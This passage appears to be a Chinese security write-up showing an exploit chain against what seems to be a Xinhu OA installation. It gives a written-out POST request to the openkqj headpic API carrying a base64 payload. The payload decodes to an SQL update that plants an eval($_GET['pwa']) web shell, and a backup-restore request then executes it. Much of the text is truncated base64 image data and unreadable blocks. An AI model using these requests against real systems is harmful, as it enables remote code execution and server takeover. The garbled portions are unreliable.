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
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624215945-03409644-3232-1.jpeg><img src="data:image/jpeg;base64,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
<p>记录id,163</p>
<p>2、构造执行sql语句的payload<br>
<a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624220111-364e175a-3232-1.png><img src="data:image/png;base64,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
id=前面记录的id<br>
createsql为执行的sql语句<br>
kqj1_u1.jpg为上传的可控文件名</p>
<p>3、Openkqj-&gt;postdata-&gt;headpic 上传可控文件名文件<br>
headpic为前面构造的payload,base64编码</p>
<div class=highlight><pre><span></span><span class=x>POST /index.php/post?d=task&amp;m=openkqj|openapi&amp;a=api&amp;sn=1 HTTP/1.1</span>
<span class=x>{"aasd":{</span>
<span class=x>"data":"headpic",</span>
<span class=x>"id":"1",</span>
<span class=x>"headpic":"eyJrcWoxX3UxLmpwZyI6eyJjcmVhdGVzcWwiOiJ1cGRhdGUgeGluaHVfZmxvd19zZXQgc2V0IG5hbWU9XCIqXC9ldmFsKCRfR0VUWydwd2EnXSk7XC8qXCIgIHdoZXJlIGlkPTE2MzsifX0=",</span>
<span class=x>"ccid":"1"}}</span>
</pre></div>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624220435-afc08870-3232-1.jpeg><img src="data:image/jpeg;base64,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
上传成功</p>
<p>4、执行sql语句<br>
/index.php?a=huifdatanew&amp;d=system&amp;m=beifen&amp;ajaxbool=true<br>
post<br>
folder=.*/./face&amp;sid=kqj1_u1.jpg</p>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624220719-11ccf65c-3233-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA5UAAAGwCAYAAAA5VkF/AAB08UlEQVR4nO3deXxU9b3/8feZLewkYQk7AUUUiFpXaK9BJVatFbSKAgouleq12nKrUqhaUayg0p+0aquiV4UWUKwKalFJquCG2601oOJGWASC7CQhySzn90dmhplkksx3MpP19XwYyZzzOd/znTMnM+cz3+VYp/7wR7ZsyZYk2bKrfpEd/KVP715a/sLzAgAAQOtRsHKlxpx7blNXA0Ar4GjqCgAAAAAAWi6SSgAAAABAwkgqAQAAAAAJI6kEAAAAACSMpBIAAAAAkDCSSgAAAABAwkgqAQAAAAAJI6kEAAAAACSMpBIAAAAAkDCSSgAAAABAwhyyQ7/aCv9u2xHL7JpbAQAAAAAgWioBAAAAAA1AUgkAAAAASBhJJQAAAAAgYUlPKpddYsmyYv1comXJ3hkAAAAaFdd6AKprxJbKZbqkpb/ZLLuk6k1zxCytb+q6AAAANCut4FoPQEJSl1SOf1a2bcu2ba27Y3hw4TIta8HvNOvXf9bUVQAAAGgeWuG1HoDENEpL5fDxF2t4rBWhlr/QT4wWwPWzRkStXxZ+HPombJkuCa6/ZFmM7aqXWe8+D5dnhctdr1kjLI24Mxi5/k6NCG4LAADQ1iV+rRfruit6+YhZ66OvB2O1hlbfT3C7w6qu5eIrr7Y6xfucgLanUZLKZXfeGfxjG6/x46uWrZ81QtYl1d4S1t+pERF/mMsuiUjkgusvuTPxP9v690m3DQAAAFOJXevFd921/s4R0deDWqZLIq4XY+4nuF2s5X